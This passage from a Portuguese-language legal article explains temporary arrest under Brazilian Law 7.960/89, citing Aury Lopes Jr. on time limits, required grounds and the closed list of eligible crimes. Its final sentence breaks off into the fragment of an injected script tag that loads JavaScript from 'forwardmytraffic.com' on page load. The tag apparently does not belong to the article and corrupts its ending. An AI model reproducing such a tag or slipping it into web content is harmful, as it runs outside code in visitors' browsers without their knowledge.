prisão temporária é regulada pela Lei 7.960/89, e uma das possibilidades em que é cabível, é quando extremamente necessário para as investigações do inquérito policial. A prisão temporária pode ser decretada pelo juiz, em face da representação da autoridade policial ou requerimento do Ministério Público, não podendo ser decretada de ofício pelo magistrado (LOPES JR., 2018).
Sobre a atuação do juiz no momento de avaliar se é caso ou não de prisão temporária, Aury Lopes Jr. (2018, p. 676) discorre que, “além de observar se a medida realmente é necessária para a investigação e a coleta dos elementos probatórios buscados, deve verificar se a prisão temporária é adequada à finalidade apontada pela autoridade policial.”
Isto é, as medidas cautelares diversas da prisão, também podem adequar-se às necessidades da autoridade policial quando da realização das investigações, sem que haja a segregação do indiciado. Cabe salientar, que a prisão temporária não é cabível após concluído o inquérito policial (LOPES JR., 2018). Deste modo, “[…] se já houver processo ou apenas tiver sido oferecida a denúncia, não pode permanecer a prisão temporária.” (LOPES JR., 2018, p. 679).
Como o próprio nome diz, a prisão temporária tem seu limite estabelecido pela lei, e será de 5 dias, prorrogáveis por igual período, em caso de extrema e comprovada necessidade. No que tange aos crimes hediondos, o prazo será de 30 dias, prorrogáveis por igual período. Assim, nos casos dos crimes hediondos, a prisão temporária poderá durar até 60 dias.
Lopes Jr. (2018, p. 678) observa que é “[…] completamente ilegal, por exemplo, a decisão judicial que decreta a prisão temporária por 7 dias […].” Sendo assim, o prazo máximo da prisão é de 5 dias, podendo o juiz decretar 3, 4, dias de prisão, mas não 8 ou 9, pois a prisão apenas poderá ser prorrogada por até 5 dias desde que comprovada extrema necessidade.
Para que a prisão seja decretada, se faz necessário a presença do fumus commissi delicti e o periculum libertatis (LOPES JR., 2018). O primeiro, consiste no fato de haver fundadas razões para a prisão nos tipos penais elencados no inciso III, do art. 1º da Lei 7.960/89 (LOPES JR., 2018). O rol de tipos penais do inciso III é taxativo, de modo que não pode ocorrer a prisão temporária por crime que não esteja disposto na legislação (LOPES JR., 2018).
Conforme explica Lopes Jr. (2018, p. 680), “não há que se olvidar que para a decretação da prisão já devem existir indícios razoáveis de autoria, não se admitindo que se prenda para então buscar elementos de autoria e materialidade.”
Por outro lado, o periculum libertatis no presente caso, é a imprescindibilidade da prisão para as investigações policiais (LOPES JR., 2018). A liberdade do agente é colocada em segundo plano, sem que haja o respeito pelo princípio da presunção da inocência e demais direitos fundamentais dispostos na Constituição Federal.
Em suma, para que ocorra a prisão temporária do indivíduo, devem estar presentes sua imprescindibilidade para as investigações do inquérito policial, bem como quando houver fundadas razões e o crime for um daqueles previstos no inciso III, do art. 1º da Lei 7.960/89 (LOPES JR., 2018). Desta forma, apenas o inciso primeiro e terceiro do supracitado artigo, são necessários para que ocorra a decretação da prisão (LOPES JR., 2018).
Lopes Jr. (2018, p. 681) aduz que,
O inciso II (indiciado sem residência fixa ou não fornecer elementos necessários para sua identificação) é completamente contingencial, ou seja, sozinho não autoriza a prisão temporária e sua combinação apenas com o inciso I ou apenas com o inciso III não justifica a prisão temporária. Mais do que isso, o inciso II acaba sendo absorvido pela “imprescindibilidade” do inciso I, sendo logicamente redundante.
Portanto, a prisão temporária justifica-se apenas na fase do inquérito policial, e é o único tipo de prisão com tempo determinado (LOPES JR., 2018). Cabe ressaltar, que o presente artigo não visa esgotar todo o assunto, apenas fomentar o debate…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>